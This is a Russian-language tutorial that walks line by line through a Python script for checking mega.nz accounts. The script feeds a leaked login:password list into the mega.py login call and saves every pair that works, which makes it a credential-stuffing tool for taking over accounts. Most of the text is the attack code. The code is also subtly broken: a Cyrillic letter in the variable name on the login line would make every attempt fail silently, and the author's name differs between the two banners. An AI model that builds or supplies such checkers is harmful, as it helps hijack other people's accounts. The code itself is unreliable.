February 24, 2021

Пишем чекер аккаунтов на PYTHON

Писать мы будем чекер аккаунтов mega.nz.

Для создания чекера нам надо:

  • Иметь установлений python (инструкция)
  • Иметь желания и хоть какие то руки
  • Текстовый редактор (Notepad ++, Visual Studio, PyCharm и прочие)
  • Повторять все как в статье

Приступаем, после скачивания python. Установим нужные нам зависимости, то есть бибилиотеки.

Тыкаем WIN + R и пишем cmd, нажимаем enter. Вы открыли консоль (командную строку).

В консольке пишем:

pip install DateTime && pip install mega.py

Ждем окончания загрузки, и закрываем cmd. Теперь создаем txt фалик и заменяем txt на py. Открываем его текстовый редактором (редактором кода), и начинаем кодить.

from mega import Mega
mega = Mega()

Импортируем библиотеку Mega, которая нам надо для самой функции брута.

Сделаем еще два импорта (можно и без них, но придется изменять код) они просто для удобства

import datetime
import sys

Теперь сделаем def в который будет спрашивать названия файлика с базой для бурта, и проверять что ввел юзер (если он ввел название без .txt окончание то добавлять его).

def main():
    print('MEGA.NZ ACCOUNTS BRUTER BY SHIFTER\n')
    print('Поместите базу для брута в директорию с этим скриптом')
    q = str(input('Введите название файла (базы для брута): '))
 
    if '.txt' in q:
        dir_ = q
    else:
        dir_ = q + '.txt'
  
    checker(dir_)

def - Оболочка с кодом так сказать. тык

print - выводить текст в консольку

input - запрашивает текст (дает пользователю ввести текст)

if, else - операторы. Если произойдет это действие то будет так, если произойдет иначе будет так.

checker(dir_) - перенаправление на другой def под названием checker (который уже и будет чекать аккаунт на валид). Также мы через это перенаправлением передаем аргумент (args) под названием dir_ то есть то что ввел пользователь

Теперь сделаем что бы def main() работал.

main()

Осталась последняя часть. Сам чекер, для новеньких в этой сфере ничего не будет понятно скорее всего, но постараюсь объяснить.

Между импортами и def main() (см. скрин выше) пишем:

def checker(dir_):

Мы опять создали оболочку где будет храниться и выполняться наш код чекера.

Теперь будем использовать ранее импортированную библиотеку datetime. Для чего? Да что бы сохранять наш файлик с прочеканой базой время когда начался брут.

Пишем:

    date = str(datetime.datetime.now()).replace(' ', '-').replace(':', '-').replace('.', '-')
    file_name = 'output_' + date + '.txt'

Мы создали переменную date, которая выдает точное время (2021-02-22 16:49:06.035025 например.)

и что бы не было ошибки что нельзя сделать файлик с названием в котором есть ":" мы их заменяем функцией replace() на '-'.

Потом же создаем переменную которая обозначает название файлика где будет сохранен результат.

Теперь сделаем обработку ошибок, что бы при ошибке скрипт не падал, а просто показывал ошибку. Подробней здесь

Пишем:

    try:

    except Exception as e:
        print(e)

as - логично с анг. "как".

то есть мы ловим ошибку как e и потом выводим ошибку.

Приступаем к созданию файлика где будет результат и чтению файлика с базой для дальнейших действий. Пишем между try: и except: данный код

        with open(file_name, 'w', encoding='utf-8') as f:
            f.write('MEGA.NZ ACCOUNTS:\n\n')
  
        with open(dir_, 'r', encoding='utf-8') as accounts:

мы юзаем конструкцию with open. Т.к. она автоматически закрывает файлик.

            accounts = accounts.read()

этим кодом просматриваем содержимое нашего файлика под переменной dir_ .

Напишем проверку используя операторов If, else.

            if len(accounts) >= 1:
                account = accounts.split('\n')

len - с англ. сокращено от слова Leng, длина. Мы проверяем на то что в фалике больше 1 символа, иначе выводим ошибку:

            else:
                sys.exit('Файл ' + dir_ + ' пустой!')

Используя встроенную библиотеку в python - sys. Подробней о библиотеке здесь

Если же в файлике больше одного символа то срабатывает код который мы сейчас будем писать. На данный момент, создаётся переменная account которая содержит в себе аккаунты. Также мы использовали метод split() который обрезает строку по заданным параметрами. В нашем случае мы разделяем весь файлик на много строк (ну то есть 1 строка в файлике - 1 строка в переменной. Они записываются листом.)

'\n' это перенос строки на 1 вниз.

Теперь между if и else (см. скрин выше) пишем еще одну проверку на то что выводить в соответствии от кол-ва аккаунтов в текстовом документе (если 1 - аккаунта, если 0 или больше 1 то аккаунтов)

                if str(len(account)) == '1':
                    q = 'a'
                else:
                    q = 'ов'

И выводим методом print() то сколько аккаунтов чекер будет чекать:

                print('Начинаю проверку ' + str(len(account)) + ' аккаунт' + q)

Окончание: сам чекер

Используем цикл for мы по очереди начинаем выполнять код который будет ниже.

Снов пишем конструкцию try: except: которая в этом случае будет мало ли того что поможет скрипту не падать, да и еще определять валидный ли аккаунт.

                    try:
                        acc = account.split(':')
                  
                        mega.login(acс[0], acc[1])
                  
                        print("[+] " + account)
                  
                        output = open(file_name, 'a', encoding='utf-8')
                        output.write(account + '\n')
                        output.close()
                  
                    except:
                        print(f"[-] {account}")

Это последние строки кода. В цикле, мы начинаем ловить ошибку, выполняем код:

                        acc = account.split(':')

разделяем строку на логин и пароль методом split который мы уже использовали выше)

Используем библиотеку mega и пробуем выполнить вход в аккаунт:

                        mega.login(acс[0], acc[1])

если пароль или логин не верный скрипт должен был упасть, но мы сделали конструкцию try: except благодаря чему он не падает. А выводить ошибку что аккаунт не валидный:

                    except:
                        print(f"[-] {account}")

Если же аккаунт валид - выводим это:

                        print("[+] " + account)

и сохраняем его в файлик под названием значения нашей переменной file_name:

                        output = open(file_name, 'a', encoding='utf-8')
                        output.write(account + '\n')
                        output.close()

Открываем файлик с режимом A что обозначает, что аккаунты будут дописываться в файл. Также используем encoding, здесь очевидно. Но все же, это для того что бы при сохранение файлика случайно не вышло такого:

На этом наш кодинг закончился..

Наш итоговый код:

from mega import Mega
mega = Mega()

import datetime
import sys

def checker(dir_):

    date = str(datetime.datetime.now()).replace(' ', '-').replace(':', '-').replace('.', '-')
    file_name = 'output_' + date + '.txt'
 
    try:
 
        with open(file_name, 'w', encoding='utf-8') as f:
            f.write('MEGA.NZ ACCOUNTS:\n\n')
  
        with open(dir_, 'r', encoding='utf-8') as accounts:
  
            accounts = accounts.read()
      
            if len(accounts) >= 1:
                account = accounts.split('\n')

                if str(len(account)) == '1':
                    q = 'a'
                else:
                    q = 'ов'
              
                print('Начинаю проверку ' + str(len(account)) + ' аккаунт' + q)
                for account in account:
                    try:
                        acc = account.split(':')
                  
                        mega.login(acс[0], acc[1])
                  
                        print("[+] " + account)
                  
                        output = open(file_name, 'a', encoding='utf-8')
                        output.write(account + '\n')
                        output.close()
                  
                    except:
                        print(f"[-] {account}")
                  
                sys.exit('Брут закончен! Результат сохранен в ' + file_name)
            else:
                sys.exit('Файл ' + dir_ + ' пустой!')
          
    except Exception as e:
        print(e)


def main():
    print('MEGA.NZ ACCOUNTS BRUTER BY SCAMMEMS\n')
    print('Поместите базу для брута в директорию с этим скриптом')
    q = str(input('Введите название файла (базы для брута): '))
 
    if '.txt' in q:
        dir_ = q
    else:
        dir_ = q + '.txt'
  
    checker(dir_)
 

main()

Переходим к запуску скрипта:

Отрываем cmd (командную строку);

Пишем cd путь/к/файлику.py
Потом пишем python файлик.py

Вводим название файла где храниться база для брута. Ожидаем не много времени, и готово! База сохранена в файлику под названием времени когда был запущен брут.